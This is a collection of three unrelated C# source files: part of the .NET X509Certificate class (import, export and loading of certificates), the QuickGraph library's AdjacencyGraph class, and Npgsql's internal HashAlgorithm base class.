618 [PermissionSetAttribute(SecurityAction.InheritanceDemand, Unrestricted=true)] #pragma warning restore 618 public virtual void Import(byte[] rawData, SecureString password, X509KeyStorageFlags keyStorageFlags) { Reset(); LoadCertificateFromBlob(rawData, password, keyStorageFlags); } #endif // FEATURE_X509_SECURESTRINGS [System.Security.SecurityCritical] // auto-generated_required [System.Runtime.InteropServices.ComVisible(false)] #pragma warning disable 618 [PermissionSetAttribute(SecurityAction.InheritanceDemand, Unrestricted=true)] #pragma warning restore 618 public virtual void Import(string fileName) { Reset(); LoadCertificateFromFile(fileName, null, X509KeyStorageFlags.DefaultKeySet); } [System.Security.SecurityCritical] // auto-generated_required [System.Runtime.InteropServices.ComVisible(false)] #pragma warning disable 618 [PermissionSetAttribute(SecurityAction.InheritanceDemand, Unrestricted=true)] #pragma warning restore 618 public virtual void Import(string fileName, string password, X509KeyStorageFlags keyStorageFlags) { Reset(); LoadCertificateFromFile(fileName, password, keyStorageFlags); } #if FEATURE_X509_SECURESTRINGS [System.Security.SecurityCritical] // auto-generated_required #pragma warning disable 618 [PermissionSetAttribute(SecurityAction.InheritanceDemand, Unrestricted=true)] #pragma warning restore 618 public virtual void Import(string fileName, SecureString password, X509KeyStorageFlags keyStorageFlags) { Reset(); LoadCertificateFromFile(fileName, password, keyStorageFlags); } #endif // FEATURE_X509_SECURESTRINGS [System.Security.SecuritySafeCritical] // auto-generated [System.Runtime.InteropServices.ComVisible(false)] public virtual byte[] Export(X509ContentType contentType) { return ExportHelper(contentType, null); } [System.Security.SecuritySafeCritical] // auto-generated [System.Runtime.InteropServices.ComVisible(false)] public virtual byte[] Export(X509ContentType contentType, string password) { return ExportHelper(contentType, password); } #if FEATURE_X509_SECURESTRINGS [System.Security.SecuritySafeCritical] // auto-generated public virtual byte[] Export(X509ContentType contentType, SecureString password) { return ExportHelper(contentType, password); } #endif // FEATURE_X509_SECURESTRINGS [System.Security.SecurityCritical] // auto-generated_required [System.Runtime.InteropServices.ComVisible(false)] #pragma warning disable 618 [PermissionSetAttribute(SecurityAction.InheritanceDemand, Unrestricted=true)] #pragma warning restore 618 public virtual void Reset () { m_subjectName = null; m_issuerName = null; m_serialNumber = null; m_publicKeyParameters = null; m_publicKeyValue = null; m_publicKeyOid = null; m_rawData = null; m_thumbprint = null; m_notBefore = DateTime.MinValue; m_notAfter = DateTime.MinValue; if (!m_safeCertContext.IsInvalid) { // Free the current certificate handle if (!m_certContextCloned) { m_safeCertContext.Dispose(); } m_safeCertContext = SafeCertContextHandle.InvalidHandle; } m_certContextCloned = false; } public void Dispose() { Dispose(true); } [System.Security.SecuritySafeCritical] protected virtual void Dispose(bool disposing) { if (disposing) { Reset(); } } #if FEATURE_SERIALIZATION /// <internalonly/> [System.Security.SecurityCritical] // auto-generated_required void ISerializable.GetObjectData (SerializationInfo info, StreamingContext context) { if (m_safeCertContext.IsInvalid) info.AddValue("RawData", null); else info.AddValue("RawData", this.RawData); } /// <internalonly/> void IDeserializationCallback.OnDeserialization(Object sender) {} #endif // // internal. // internal SafeCertContextHandle CertContext { [System.Security.SecurityCritical] // auto-generated get { return m_safeCertContext; } } /// <summary> /// Returns the SafeCertContextHandle. Use this instead of the CertContext property when /// creating another X509Certificate object based on this one to ensure the underlying /// cert context is not released at the wrong time. /// </summary> [System.Security.SecurityCritical] internal SafeCertContextHandle GetCertContextForCloning() { m_certContextCloned = true; return m_safeCertContext; } // // private methods. // [System.Security.SecurityCritical] // auto-generated private void ThrowIfContextInvalid() { if (m_safeCertContext.IsInvalid) throw new CryptographicException(Environment.GetResourceString("Cryptography_InvalidHandle"), "m_safeCertContext"); } private DateTime NotAfter { [System.Security.SecuritySafeCritical] // auto-generated get { ThrowIfContextInvalid(); if (m_notAfter == DateTime.MinValue) { Win32Native.FILE_TIME fileTime = new Win32Native.FILE_TIME(); X509Utils._GetDateNotAfter(m_safeCertContext, ref fileTime); m_notAfter = DateTime.FromFileTime(fileTime.ToTicks()); } return m_notAfter; } } private DateTime NotBefore { [System.Security.SecuritySafeCritical] // auto-generated get { ThrowIfContextInvalid(); if (m_notBefore == DateTime.MinValue) { Win32Native.FILE_TIME fileTime = new Win32Native.FILE_TIME(); X509Utils._GetDateNotBefore(m_safeCertContext, ref fileTime); m_notBefore = DateTime.FromFileTime(fileTime.ToTicks()); } return m_notBefore; } } private byte[] RawData { [System.Security.SecurityCritical] // auto-generated get { ThrowIfContextInvalid(); if (m_rawData == null) m_rawData = X509Utils._GetCertRawData(m_safeCertContext); return (byte[]) m_rawData.Clone(); } } private string SerialNumber { [System.Security.SecuritySafeCritical] // auto-generated get { ThrowIfContextInvalid(); if (m_serialNumber == null) m_serialNumber = X509Utils._GetSerialNumber(m_safeCertContext); return Hex.EncodeHexStringFromInt(m_serialNumber); } } [System.Security.SecuritySafeCritical] // auto-generated private void SetThumbprint () { ThrowIfContextInvalid(); if (m_thumbprint == null) m_thumbprint = X509Utils._GetThumbprint(m_safeCertContext); } [System.Security.SecurityCritical] // auto-generated private byte[] ExportHelper (X509ContentType contentType, object password) { switch(contentType) { case X509ContentType.Cert: break; #if FEATURE_CORECLR case (X509ContentType)0x02 /* X509ContentType.SerializedCert */: case (X509ContentType)0x03 /* X509ContentType.Pkcs12 */: throw new CryptographicException(Environment.GetResourceString("Cryptography_X509_InvalidContentType"), new NotSupportedException()); #else // FEATURE_CORECLR case X509ContentType.SerializedCert: break; case X509ContentType.Pkcs12: KeyContainerPermission kp = new KeyContainerPermission(KeyContainerPermissionFlags.Open | KeyContainerPermissionFlags.Export); kp.Demand(); break; #endif // FEATURE_CORECLR else default: throw new CryptographicException(Environment.GetResourceString("Cryptography_X509_InvalidContentType")); } #if !FEATURE_CORECLR IntPtr szPassword = IntPtr.Zero; byte[] encodedRawData = null; SafeCertStoreHandle safeCertStoreHandle = X509Utils.ExportCertToMemoryStore(this); RuntimeHelpers.PrepareConstrainedRegions(); try { szPassword = X509Utils.PasswordToHGlobalUni(password); encodedRawData = X509Utils._ExportCertificatesToBlob(safeCertStoreHandle, contentType, szPassword); } finally { if (szPassword != IntPtr.Zero) Marshal.ZeroFreeGlobalAllocUnicode(szPassword); safeCertStoreHandle.Dispose(); } if (encodedRawData == null) throw new CryptographicException(Environment.GetResourceString("Cryptography_X509_ExportFailed")); return encodedRawData; #else // !FEATURE_CORECLR return RawData; #endif // !FEATURE_CORECLR } [System.Security.SecuritySafeCritical] // auto-generated private void LoadCertificateFromBlob (byte[] rawData, object password, X509KeyStorageFlags keyStorageFlags) { if (rawData == null || rawData.Length == 0) throw new ArgumentException(Environment.GetResourceString("Arg_EmptyOrNullArray"), "rawData"); Contract.EndContractBlock(); X509ContentType contentType = X509Utils.MapContentType(X509Utils._QueryCertBlobType(rawData)); #if !FEATURE_CORECLR if (contentType == X509ContentType.Pkcs12 && (keyStorageFlags & X509KeyStorageFlags.PersistKeySet) == X509KeyStorageFlags.PersistKeySet) { KeyContainerPermission kp = new KeyContainerPermission(KeyContainerPermissionFlags.Create); kp.Demand(); } #endif // !FEATURE_CORECLR uint dwFlags = X509Utils.MapKeyStorageFlags(keyStorageFlags); IntPtr szPassword = IntPtr.Zero; RuntimeHelpers.PrepareConstrainedRegions(); try { szPassword = X509Utils.PasswordToHGlobalUni(password); X509Utils._LoadCertFromBlob(rawData, szPassword, dwFlags, #if FEATURE_CORECLR false, #else // FEATURE_CORECLR (keyStorageFlags & X509KeyStorageFlags.PersistKeySet) == 0 ? false : true, #endif // FEATURE_CORECLR else ref m_safeCertContext); } finally { if (szPassword != IntPtr.Zero) Marshal.ZeroFreeGlobalAllocUnicode(szPassword); } } [System.Security.SecurityCritical] // auto-generated private void LoadCertificateFromFile (string fileName, object password, X509KeyStorageFlags keyStorageFlags) { if (fileName == null) throw new ArgumentNullException("fileName"); Contract.EndContractBlock(); string fullPath = Path.GetFullPathInternal(fileName); new FileIOPermission (FileIOPermissionAccess.Read, fullPath).Demand(); X509ContentType contentType = X509Utils.MapContentType(X509Utils._QueryCertFileType(fileName)); #if !FEATURE_CORECLR if (contentType == X509ContentType.Pkcs12 && (keyStorageFlags & X509KeyStorageFlags.PersistKeySet) == X509KeyStorageFlags.PersistKeySet) { KeyContainerPermission kp = new KeyContainerPermission(KeyContainerPermissionFlags.Create); kp.Demand(); } #endif // !FEATURE_CORECLR uint dwFlags = X509Utils.MapKeyStorageFlags(keyStorageFlags); IntPtr szPassword = IntPtr.Zero; RuntimeHelpers.PrepareConstrainedRegions(); try { szPassword = X509Utils.PasswordToHGlobalUni(password); X509Utils._LoadCertFromFile(fileName, szPassword, dwFlags, #if FEATURE_CORECLR false, #else // FEATURE_CORECLR (keyStorageFlags & X509KeyStorageFlags.PersistKeySet) == 0 ? false : true, #endif // FEATURE_CORECLR else ref m_safeCertContext); } finally { if (szPassword != IntPtr.Zero) Marshal.ZeroFreeGlobalAllocUnicode(szPassword); } } #if FEATURE_LEGACYNETCF protected internal String CreateHexString(byte[] sArray) { return Hex.EncodeHexString(sArray); } #endif } }
// QuickGraph Library // // Copyright (c) 2004 Jonathan de Halleux // // This software is provided 'as-is', without any express or implied warranty. // // In no event will the authors be held liable for any damages arising from // the use of this software. // Permission is granted to anyone to use this software for any purpose, // including commercial applications, and to alter it and redistribute it // freely, subject to the following restrictions: // // 1. The origin of this software must not be misrepresented; // you must not claim that you wrote the original software. // If you use this software in a product, an acknowledgment in the product // documentation would be appreciated but is not required. // // 2. Altered source versions must be plainly marked as such, and must // not be misrepresented as being the original software. // // 3. This notice may not be removed or altered from any source // distribution. // // QuickGraph Library HomePage: http://www.mbunit.com // Author: Jonathan de Halleux namespace QuickGraph.Representations { using System; using System.Collections; using System.Runtime.Serialization; using QuickGraph.Concepts; using QuickGraph.Concepts.Traversals; using QuickGraph.Concepts.Modifications; using QuickGraph.Concepts.MutableTraversals; using QuickGraph.Concepts.Predicates; using QuickGraph.Concepts.Providers; using QuickGraph.Concepts.Collections; using QuickGraph.Concepts.Serialization; using QuickGraph.Collections; using QuickGraph.Exceptions; using QuickGraph.Predicates; /// <summary> /// A mutable incidence graph implemetation /// </summary> /// <remarks> /// <seealso cref="IVertexMutableGraph"/> /// <seealso cref="IMutableIncidenceGraph"/> /// </remarks> public class AdjacencyGraph : IFilteredVertexAndEdgeListGraph ,IFilteredIncidenceGraph ,IMutableEdgeListGraph ,IEdgeMutableGraph ,IMutableIncidenceGraph ,IEdgeListAndIncidenceGraph ,ISerializableVertexAndEdgeListGraph ,IMutableVertexAndEdgeListGraph ,IAdjacencyGraph ,IIndexedVertexListGraph { private IVertexProvider vertexProvider; private IEdgeProvider edgeProvider; private VertexEdgesDictionary vertexOutEdges; private bool allowParallelEdges; /// <summary> /// Builds a new empty directed graph with default vertex and edge /// provider. /// </summary> /// <remarks> /// </remarks> public AdjacencyGraph() { this.vertexProvider = new QuickGraph.Providers.VertexProvider(); this.edgeProvider = new QuickGraph.Providers.EdgeProvider(); this.allowParallelEdges = true; this.vertexOutEdges = new VertexEdgesDictionary(); } /// <summary> /// Builds a new empty directed graph with default vertex and edge /// provider. /// </summary> /// <param name="allowParallelEdges">true if parallel edges are allowed</param> public AdjacencyGraph(bool allowParallelEdges) { this.vertexProvider = new QuickGraph.Providers.VertexProvider(); this.edgeProvider = new QuickGraph.Providers.EdgeProvider(); this.allowParallelEdges = allowParallelEdges; this.vertexOutEdges = new VertexEdgesDictionary(); } /// <summary> /// Builds a new empty directed graph with custom providers /// </summary> /// <param name="allowParallelEdges">true if the graph allows /// multiple edges</param> /// <param name="edgeProvider">custom edge provider</param> /// <param name="vertexProvider">custom vertex provider</param> /// <exception cref="ArgumentNullException"> /// vertexProvider or edgeProvider is a null reference /// </exception> public AdjacencyGraph( IVertexProvider vertexProvider, IEdgeProvider edgeProvider, bool allowParallelEdges ) { if (vertexProvider == null) throw new ArgumentNullException("vertex provider"); if (edgeProvider == null) throw new ArgumentNullException("edge provider"); this.vertexProvider = vertexProvider; this.edgeProvider = edgeProvider; this.allowParallelEdges = allowParallelEdges; this.vertexOutEdges = new VertexEdgesDictionary(); } /// <summary> /// Gets a value indicating if the graph is directed. /// </summary> /// <value> /// true if the graph is directed, false if undirected. /// </value> /// <remarks> /// <seealso cref="IGraph"/> /// </remarks> public bool IsDirected { get { return true; } } /// <summary> /// Gets a value indicating if the graph allows parralell edges. /// </summary> /// <value> /// true if the graph is a multi-graph, false otherwise /// </value> /// <remarks> /// <seealso cref="IGraph"/> /// </remarks> public bool AllowParallelEdges { get { return IsDirected && this.allowParallelEdges; } } /// <summary> /// Vertex Out edges dictionary /// </summary> /// <value> /// Dictionary of <see cref="IVertex"/> to out edge collection. /// </value> protected VertexEdgesDictionary VertexOutEdges { get { return this.vertexOutEdges; } } /// <summary> /// Gets the <see cref="IVertex"/> provider /// </summary> /// <value> /// <see cref="IVertex"/> provider /// </value> public IVertexProvider VertexProvider { get { return this.vertexProvider; } } /// <summary> /// Gets the <see cref="IEdge"/> provider /// </summary> /// <value> /// <see cref="IEdge"/> provider /// </value> public IEdgeProvider EdgeProvider { get { return this.edgeProvider; } } /// <summary> /// Remove all of the edges and vertices from the graph. /// </summary> public virtual void Clear() { VertexOutEdges.Clear(); } /// <summary> /// Add a new vertex to the graph and returns it. /// /// Complexity: 1 insertion. /// </summary> /// <returns>Create vertex</returns> public virtual IVertex AddVertex() { IVertex v = VertexProvider.ProvideVertex(); VertexOutEdges.Add(v, new EdgeCollection()); return v; } /// <summary> /// Add a new vertex to the graph and returns it. /// /// Complexity: 1 insertion. /// </summary> /// <returns>Create vertex</returns> public virtual void AddVertex(IVertex v) { if (v==null) throw new ArgumentNullException("vertex"); if (v.GetType() != VertexProvider.VertexType) throw new ArgumentNullException("vertex type not valid"); if (VertexOutEdges.Contains(v)) throw new ArgumentException("vertex already in graph"); VertexProvider.UpdateVertex(v); VertexOutEdges.Add(v, new EdgeCollection()); } /// <summary> /// Add a new vertex from source to target /// /// Complexity: 2 search + 1 insertion /// </summary> /// <param name="source">Source vertex</param> /// <param name="target">Target vertex</param> /// <returns>Created Edge</returns> /// <exception cref="ArgumentNullException">source or target is null</exception> /// <exception cref="Exception">source or target are not part of the graph</exception> public virtual IEdge AddEdge( IVertex source, IVertex target ) { // look for the vertex in the list if (!VertexOutEdges.ContainsKey(source)) throw new VertexNotFoundException("Could not find source vertex"); if (!VertexOutEdges.ContainsKey(target)) throw new VertexNotFoundException("Could not find target vertex"); // if parralel edges are not allowed check if already in the graph if (!this.AllowParallelEdges) { if (ContainsEdge(source,target)) throw new Exception("Parallel edge not allowed"); } // create edge IEdge e = EdgeProvider.ProvideEdge(source,target); VertexOutEdges[source].Add(e); return e; } /// <summary> /// Used for serialization. Not for private use. /// </summary> /// <param name="e">edge to add.</param> public virtual void AddEdge(IEdge e) { if (e==null) throw new ArgumentNullException("vertex"); if (e.GetType() != EdgeProvider.EdgeType) throw new ArgumentNullException("vertex type not valid"); if (!VertexOutEdges.ContainsKey(e.Source)) throw new VertexNotFoundException("Could not find source vertex"); if (!VertexOutEdges.ContainsKey(e.Target)) throw new VertexNotFoundException("Could not find target vertex"); // if parralel edges are not allowed check if already in the graph if (!this.AllowParallelEdges) { if (ContainsEdge(e.Source,e.Target)) throw new ArgumentException("graph does not allow duplicate edges"); } // create edge EdgeProvider.UpdateEdge(e); VertexOutEdges[e.Source].Add(e); } /// <summary> /// Gets a value indicating if the set of out-edges is empty /// </summary> /// <remarks> /// <para> /// Usually faster that calling <see cref="OutDegree"/>. /// </para> /// </remarks> /// <value> /// true if the out-edge set is empty, false otherwise. /// </value> /// <exception cref="ArgumentNullException">v is a null reference</exception> public bool OutEdgesEmpty(IVertex v) { if (v == null) throw new ArgumentNullException("v"); return VertexOutEdges[v].Count==0; } /// <summary> /// Returns the number of out-degree edges of v /// </summary> /// <param name="v">vertex</param> /// <returns>number of out-edges of the <see cref="IVertex"/> v</returns> public int OutDegree(IVertex v) { if (v == null) throw new ArgumentNullException("v"); EdgeCollection ec=VertexOutEdges[v]; if (ec==null) throw new VertexNotFoundException(v.ToString()); return ec.Count; } /// <summary> /// Returns an iterable collection over the edge connected to v /// </summary> /// <param name="v"></param> /// <returns></returns> public EdgeCollection OutEdges(IVertex v) { if (v == null) throw new ArgumentNullException("v"); EdgeCollection ec=VertexOutEdges[v]; if (ec==null) throw new VertexNotFoundException(v.ToString()); return ec; } /// <summary> /// Incidence graph implementation /// </summary> IEdgeEnumerable IImplicitGraph.OutEdges(IVertex v) { return this.OutEdges(v); } IEdgeCollection IIndexedIncidenceGraph.OutEdges(IVertex v) { return this.OutEdges(v); } /// <summary> /// Returns the first out-edge that matches the predicate /// </summary> /// <param name="v"></param> /// <param name="ep">Edge predicate</param> /// <returns>null if not found, otherwize the first Edge that /// matches the predicate.</returns> /// <exception cref="ArgumentNullException">v or ep is null</exception> public IEdge SelectSingleOutEdge(IVertex v, IEdgePredicate ep) { if (ep==null) throw new ArgumentNullException("edge predicate"); foreach(IEdge e in SelectOutEdges(v,ep)) return e; return null; } /// <summary> /// Returns the collection of out-edges that matches the predicate /// </summary> /// <param name="v"></param> /// <param name="ep">Edge predicate</param> /// <returns>enumerable colleciton of vertices that matches the /// criteron</returns> /// <exception cref="ArgumentNullException">v or ep is null</exception> public FilteredEdgeEnumerable SelectOutEdges(IVertex v, IEdgePredicate ep) { if (v==null) throw new ArgumentNullException("vertex"); if (ep==null) throw new ArgumentNullException("edge predicate"); return new FilteredEdgeEnumerable(OutEdges(v),ep); } /// <summary> /// /// </summary> /// <param name="v"></param> /// <param name="ep"></param> /// <returns></returns> IEdgeEnumerable IFilteredIncidenceGraph.SelectOutEdges(IVertex v, IEdgePredicate ep) { return this.SelectOutEdges(v,ep); } /// <summary> /// Removes the vertex from the graph. /// </summary> /// <param name="v">vertex to remove</param> /// <exception cref="ArgumentNullException">v is null</exception> public virtual void RemoveVertex(IVertex v) { if (v == null) throw new ArgumentNullException("vertex"); if (!ContainsVertex(v)) throw new VertexNotFoundException("v"); ClearVertex(v); // removing vertex VertexOutEdges.Remove(v); } /// <summary> /// Remove all edges to and from vertex u from the graph. /// </summary> /// <param name="v"></param> public virtual void ClearVertex(IVertex v) { if (v == null) throw new ArgumentNullException("vertex"); // removing edges touching v RemoveEdgeIf(new IsAdjacentEdgePredicate(v)); // removing edges VertexOutEdges[v].Clear(); } /// <summary> /// Removes an edge from the graph. /// /// Complexity: 2 edges removed from the vertex edge list + 1 edge /// removed from the edge list. /// </summary> /// <param name="e">edge to remove</param> /// <exception cref="ArgumentNullException">e is null</exception> public virtual void RemoveEdge(IEdge e) { if (e == null) throw new ArgumentNullException("edge"); // removing edge from vertices EdgeCollection outEdges = VertexOutEdges[e.Source]; if (outEdges==null || !outEdges.Contains(e)) throw new EdgeNotFoundException(); outEdges.Remove(e); } /// <summary> /// Remove the edge (u,v) from the graph. /// If the graph allows parallel edges this remove all occurrences of /// (u,v). /// </summary> /// <param name="u">source vertex</param> /// <param name="v">target vertex</param> public virtual void RemoveEdge(IVertex u, IVertex v) { if (u == null) throw new ArgumentNullException("source vertex"); if (v == null) throw new ArgumentNullException("targetvertex"); EdgeCollection edges = VertexOutEdges[u]; if (edges==null) throw new EdgeNotFoundException(); // marking edges to remove EdgeCollection removedEdges = new EdgeCollection(); foreach(IEdge e in edges) { if (e.Target == v) removedEdges.Add(e); } //removing edges foreach(IEdge e in removedEdges) edges.Remove(e); } /// <summary> /// Remove all the edges from graph g for which the predicate pred /// returns true. /// </summary> /// <param name="pred">edge predicate</param> public virtual void RemoveEdgeIf(IEdgePredicate pred) { if (pred == null) throw new ArgumentNullException("predicate"); // marking edge for removal EdgeCollection removedEdges = new EdgeCollection(); foreach(IEdge e in Edges) { if (pred.Test(e)) removedEdges.Add(e); } // removing edges foreach(IEdge e in removedEdges) RemoveEdge(e); } /// <summary> /// Remove all the out-edges of vertex u for which the predicate pred /// returns true. /// </summary> /// <param name="u">vertex</param> /// <param name="pred">edge predicate</param> public virtual void RemoveOutEdgeIf(IVertex u, IEdgePredicate pred) { if (u==null) throw new ArgumentNullException("vertex u"); if (pred == null) throw new ArgumentNullException("predicate"); EdgeCollection edges = VertexOutEdges[u]; EdgeCollection removedEdges = new EdgeCollection(); foreach(IEdge e in edges) if (pred.Test(e)) removedEdges.Add(e); foreach(IEdge e in removedEdges) RemoveEdge(e); } /// <summary> /// Gets a value indicating if the vertex set is empty /// </summary> /// <para> /// Usually faster (O(1)) that calling <c>VertexCount</c>. /// </para> /// <value> /// true if the vertex set is empty, false otherwise. /// </value> public bool VerticesEmpty { get { return VertexOutEdges.Count==0; } } /// <summary> /// Gets the number of vertices /// </summary> /// <value> /// Number of vertices in the graph /// </value> public int VerticesCount { get { return VertexOutEdges.Count; } } /// <summary> /// Enumerable collection of vertices. /// </summary> public VertexEnumerable Vertices { get { return new VertexEnumerable(VertexOutEdges.Keys); } } /// <summary> /// /// </summary> IVertexEnumerable IVertexListGraph.Vertices { get { return this.Vertices; } } /// <summary> /// Returns the first vertex that matches the predicate /// </summary> /// <param name="vp">vertex predicate</param> /// <returns>null if not found, otherwize the first vertex that /// matches the predicate.</returns> /// <exception cref="ArgumentNullException">vp is null</exception> public IVertex SelectSingleVertex(IVertexPredicate vp) { if (vp == null) throw new ArgumentNullException("vertex predicate"); foreach(IVertex v in SelectVertices(vp)) return v; return null; } /// <summary> /// Returns the collection of vertices that matches the predicate /// </summary> /// <param name="vp">vertex predicate</param> /// <returns>enumerable colleciton of vertices that matches the /// criteron</returns> /// <exception cref="ArgumentNullException">vp is null</exception> public IVertexEnumerable SelectVertices(IVertexPredicate vp) { if (vp == null) throw new ArgumentNullException("vertex predicate"); return new FilteredVertexEnumerable(Vertices,vp); } /// <summary> /// Tests if a vertex is part of the graph /// </summary> /// <param name="v">Vertex to test</param> /// <returns>true if is part of the graph, false otherwize</returns> public bool ContainsVertex(IVertex v) { return VertexOutEdges.Contains(v); } /// <summary> /// Gets a value indicating if the vertex set is empty /// </summary> /// <remarks> /// <para> /// Usually faster that calling <see cref="EdgesCount"/>. /// </para> /// </remarks> /// <value> /// true if the vertex set is empty, false otherwise. /// </value> public bool EdgesEmpty { get { return this.EdgesCount==0; } } /// <summary> /// Gets the edge count /// </summary> /// <remarks> /// Edges count /// </remarks> public int EdgesCount { get { int n = 0; foreach(DictionaryEntry d in VertexOutEdges) { n+=((EdgeCollection)d.Value).Count; } return n; } } /// <summary> /// Enumerable collection of edges. /// </summary> public VertexEdgesEnumerable Edges { get { return new VertexEdgesEnumerable(VertexOutEdges); } } /// <summary> /// IEdgeListGraph implementation /// </summary> IEdgeEnumerable IEdgeListGraph.Edges { get { return this.Edges; } } /// <summary> /// Returns the first Edge that matches the predicate /// </summary> /// <param name="ep">Edge predicate</param> /// <returns>null if not found, otherwize the first Edge that /// matches the predicate.</returns> /// <exception cref="ArgumentNullException">ep is null</exception> public IEdge SelectSingleEdge(IEdgePredicate ep) { if (ep == null) throw new ArgumentNullException("edge predicate"); foreach(IEdge e in SelectEdges(ep)) return e; return null; } /// <summary> /// Returns the collection of edges that matches the predicate /// </summary> /// <param name="ep">Edge predicate</param> /// <returns>enumerable colleciton of vertices that matches the /// criteron</returns> /// <exception cref="ArgumentNullException">ep is null</exception> public FilteredEdgeEnumerable SelectEdges(IEdgePredicate ep) { if (ep == null) throw new ArgumentNullException("edge predicate"); return new FilteredEdgeEnumerable(Edges,ep); } /// <summary> /// /// </summary> /// <param name="ep"></param> /// <returns></returns> IEdgeEnumerable IFilteredEdgeListGraph.SelectEdges(IEdgePredicate ep) { return this.SelectEdges(ep); } /// <summary> /// Tests if a edge is part of the graph /// </summary> /// <param name="e">Edge to test</param> /// <returns>true if is part of the graph, false otherwize</returns> public bool ContainsEdge(IEdge e) { foreach(DictionaryEntry di in VertexOutEdges) { EdgeCollection es = (EdgeCollection)di.Value; if (es.Contains(e)) return true; } return false; } /// <summary> /// Test if an edge (u,v) is part of the graph /// </summary> /// <param name="u">source vertex</param> /// <param name="v">target vertex</param> /// <returns>true if part of the graph</returns> public bool ContainsEdge(IVertex u, IVertex v) { if (!this.ContainsVertex(u)) return false; if (!this.ContainsVertex(v)) return false; // try to find the edge foreach(IEdge e in this.OutEdges(u)) { if (e.Target == v) return true; } return false; } /// <summary> /// Gets an enumerable collection of adjacent vertices /// </summary> /// <param name="v"></param> /// <returns>Enumerable collection of adjacent vertices</returns> public IVertexEnumerable AdjacentVertices(IVertex v) { return new TargetVertexEnumerable(OutEdges(v)); } } }
// // System.Security.Cryptography HashAlgorithm Class implementation // // Authors: // Matthew S. Ford (Matthew.S.Ford@Rose-Hulman.Edu) // Sebastien Pouliot (spouliot@motus.com) // // Copyright 2001 by Matthew S. Ford. // Portions (C) 2002 Motus Technologies Inc. (http://www.motus.com) // // Comment: Adapted to the Project from Mono CVS as Sebastien Pouliot suggested to enable // support of Npgsql MD5 authentication in platforms which don't have support for MD5 algorithm. // using System; using System.IO; namespace Npgsql { // Comment: Removed the ICryptoTransform implementation as this interface may be not supported by // all platforms. internal abstract class HashAlgorithm : IDisposable { protected byte[] HashValue; // Caches the hash after it is calculated. Accessed through the Hash property. protected int HashSizeValue; // The size of the hash in bits. protected int State; // nonzero when in use; zero when not in use private bool disposed; /// <summary> /// Called from constructor of derived class. /// </summary> protected HashAlgorithm () { disposed = false; } /// <summary> /// Finalizer for HashAlgorithm /// </summary> ~HashAlgorithm () { Dispose(false); } /// <summary> /// Get whether or not the hash can transform multiple blocks at a time. /// Note: MUST be overriden if descendant can transform multiple block /// on a single call! /// </summary> public virtual bool CanTransformMultipleBlocks { get { return true; } } public virtual bool CanReuseTransform { get { return true; } } public void Clear() { // same as System.IDisposable.Dispose() which is documented Dispose (true); } /// <summary> /// Computes the entire hash of all the bytes in the byte array. /// </summary> public byte[] ComputeHash (byte[] input) { return ComputeHash (input, 0, input.Length); } public byte[] ComputeHash (byte[] buffer, int offset, int count) { if (disposed) throw new ObjectDisposedException ("HashAlgorithm"); HashCore (buffer, offset, count); HashValue = HashFinal (); Initialize (); return HashValue; } public byte[] ComputeHash (Stream inputStream) { // don't read stream unless object is ready to use if (disposed) throw new ObjectDisposedException ("HashAlgorithm"); int l = (int) (inputStream.Length - inputStream.Position); byte[] buffer = new byte [l]; inputStream.Read (buffer, 0, l); return ComputeHash (buffer, 0, l); } // Commented out because it uses the CryptoConfig which can't be available in all platforms /* /// <summary> /// Creates the default implementation of the default hash algorithm (SHA1). /// </summary> public static HashAlgorithm Create () { return Create ("System.Security.Cryptography.HashAlgorithm"); }*/ /* /// <summary> /// Creates a specific implementation of the general hash idea. /// </summary> /// <param name="hashName">Specifies which derived class to create.</param> public static HashAlgorithm Create (string hashName) { return (HashAlgorithm) CryptoConfig.CreateFromName (hashName); }*/ // Changed Exception type because it uses the CryptographicUnexpectedOperationException // which can't be available in all platforms. /// <summary> /// Gets the previously computed hash. /// </summary> public virtual byte[] Hash { get { if (HashValue == null) throw new NullReferenceException("HashValue is null"); return HashValue; } } /// <summary> /// When overridden in a derived class, drives the hashing function. /// </summary> /// <param name="rgb"></param> /// <param name="start"></param> /// <param name="size"></param> protected abstract void HashCore (byte[] rgb, int start, int size); /// <summary> /// When overridden in a derived class, this pads and hashes whatever data might be left in the buffers and then returns the hash created. /// </summary> protected abstract byte[] HashFinal (); /// <summary> /// Returns the size in bits of the hash. /// </summary> public virtual int HashSize { get { return HashSizeValue; } } /// <summary> /// When overridden in a derived class, initializes the object to prepare for hashing. /// </summary> public abstract void Initialize (); protected virtual void Dispose (bool disposing) { disposed = true; } /// <summary> /// Must be overriden if not 1 /// </summary> public virtual int InputBlockSize { get { return 1; } } /// <summary> /// Must be overriden if not 1 /// </summary> public virtual int OutputBlockSize { get { return 1; } } void IDisposable.Dispose () { Dispose (true); GC.SuppressFinalize (this); // Finalization is now unnecessary } /// <summary> /// Used for stream chaining. Computes hash as data passes through it. /// </summary> /// <param name="inputBuffer">The buffer from which to grab the data to be copied.</param> /// <param name="inputOffset">The offset into the input buffer to start reading at.</param> /// <param name="inputCount">The number of bytes to be copied.</param> /// <param name="outputBuffer">The buffer to write the copied data to.</param> /// <param name="outputOffset">At what point in the outputBuffer to write the data at.</param> public int TransformBlock (byte[] inputBuffer, int inputOffset, int inputCount, byte[] outputBuffer, int outputOffset) { Buffer.BlockCopy (inputBuffer, inputOffset, outputBuffer, outputOffset, inputCount); HashCore (inputBuffer, inputOffset, inputCount); return inputCount; } /// <summary> /// Used for stream chaining. Computes hash as data passes through it. Finishes off the hash. /// </summary> /// <param name="inputBuffer">The buffer from which to grab the data to be copied.</param> /// <param name="inputOffset">The offset into the input buffer to start reading at.</param> /// <param name="inputCount">The number of bytes to be copied.</param> public byte[] TransformFinalBlock (byte[] inputBuffer, int inputOffset, int inputCount) { byte[] outputBuffer = new byte[inputCount]; Buffer.BlockCopy (inputBuffer, inputOffset, outputBuffer, 0, inputCount); HashCore (inputBuffer, inputOffset, inputCount); HashValue = HashFinal (); Initialize (); return outputBuffer; } } }
